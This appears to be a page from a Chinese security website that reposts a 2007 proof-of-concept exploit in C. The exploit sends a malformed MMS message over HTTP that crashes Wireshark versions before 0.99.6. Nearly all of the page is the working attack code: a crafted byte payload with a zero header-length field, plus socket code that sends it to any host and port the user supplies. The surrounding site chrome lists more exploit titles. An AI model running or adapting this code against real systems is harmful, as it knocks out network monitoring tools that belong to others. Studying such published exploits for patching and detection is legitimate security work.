dedecms织梦内容管理系统      
首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 支持论坛
  当前位置:主页>安全文章>文章资料>Exploits>文档内容
WireShark < 0.99.6 MMS Remote Denial of Service Exploit
来源: 作者:ZwelL 发布时间:2007-08-15  
你会看到这个提示,那是因为你的系统无法识别某栏目的模型信息,或者你新建模型后,没为这个模型设计单独的模板。不同模型的文档浏览页的模板为:article_模型名字标识.htm 如“article_article.htm”,更多的信息你可以在频道模型管理的地方查看。
body  #include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32")

char *http =
       "POST / HTTP/1.0\r\n"
       "Content-Type: application/vnd.wap.mms-message\r\n";

char *hoststr = "Host: %s:%d\r\n";
char *contentlenstr = "Content-Length: %d\r\n\r\n";

unsigned char mms[] =
{
       0x8c,0x80,//X-Mms-Message-Type: m-send-req(0x80)
       0x98,0x7a,0x77,0x65,0x6c,0x6c,0x00,//X-Mms-Transaction-ID: zwell
       0x8d,0x92,//X-Mms-MMS-Version: 1.2
       0x97,0x31,0x33,0x35,0x31,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x00,//To: 13510000000
       0x84,0xa3,//Content-Type: application/vnd.wap.multipart.mixed
       //////////////////////////////////////////////////
       0x01,//multipart,count
       0x0f,//HeadersLen
       0x05,//DataLen
       0x00,//headlen <<<=== If this is 0x00, then wireshark will be crash. The real value is the follow three lines bytes which is 0x0e
       ///
       0x83,0x85,//Utf-8
       0x7a,0x77,0x65,0x6c,0x6c,0x2e,0x74,0x78,0x74,0x00,//Name: zwell.txt
       0x81,0xea,//Charset: utf-8
       ///
       0x7a,0x77,0x65,0x6c,0x6c,//zwell
};

SOCKET connect_to_host(char *h, int p)
{
       SOCKET sock;
       struct hostent *host;
       struct sockaddr_in saddr;

       if((host=gethostbyname(h))==NULL)
       {
               printf("resolv host %s error\n", h);
               exit(-1);
       }

       if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
       {
               printf("create socket error\n");
               exit(-1);
       }
       memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
       saddr.sin_family=AF_INET;
       saddr.sin_addr.s_addr=*((unsigned long *)host->h_addr_list[0]);
       saddr.sin_port=htons(p);
       if(connect(sock, (struct sockaddr *)&saddr, sizeof(saddr))<0)
       {
               printf("connect to host %s on port %d error\n", h, p);
               exit(-1);
       }

       return sock;
}


void socket_init()
{
       WSADATA wsaData;
       WSAStartup(MAKEWORD(2,0), &wsaData);
}


int main(int argc, char **argv)
{
       SOCKET s;
       char sendbuf[1024];
       int len = 0;

       printf("WireShark<0.99.6 MMS protocol DOS PoC\nCoded By ZwelL\nhttp://www.nosec.org\n");
       if(argc != 3)
       {
               printf("usage : %s <host> <port>\n", argv[0]);
               exit(-1);
       }
       socket_init();
       s = connect_to_host(argv[1], atoi(argv[2]));

       strcpy(&sendbuf[len], http);
       len += strlen(http);

       sprintf(&sendbuf[len], hoststr, argv[1], atoi(argv[2]));
       len = strlen(sendbuf);

       sprintf(&sendbuf[len], contentlenstr, sizeof(mms));
       len = strlen(sendbuf);

       memcpy(&sendbuf[len], mms, sizeof(mms));
       len += sizeof(mms);

       send(s, sendbuf, len, 0);

       printf("completed!\n");

       return 0;
}

[收藏] [推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
用户名: 新注册) 密码: 匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文档
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
  相关文档
·SurgeMail 38k (SEARCH) Remote
·Easy Chat Server 2.2 Remote De
·CounterPath X-Lite 3.x SIP pho
·EDraw Office Viewer Component
·Racer v0.5.3 beta 5 Remote Buf
·Diskeeper 9 Remote Memory Disc
·WengoPhone 2.x SIP Phone Remot
·PHP <= 5.2.0 (php_win32sti) Lo
·Mercury SMTPD Remote Preauth S
·Savant 3.1 Get Request Remote
  推荐文档
 
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved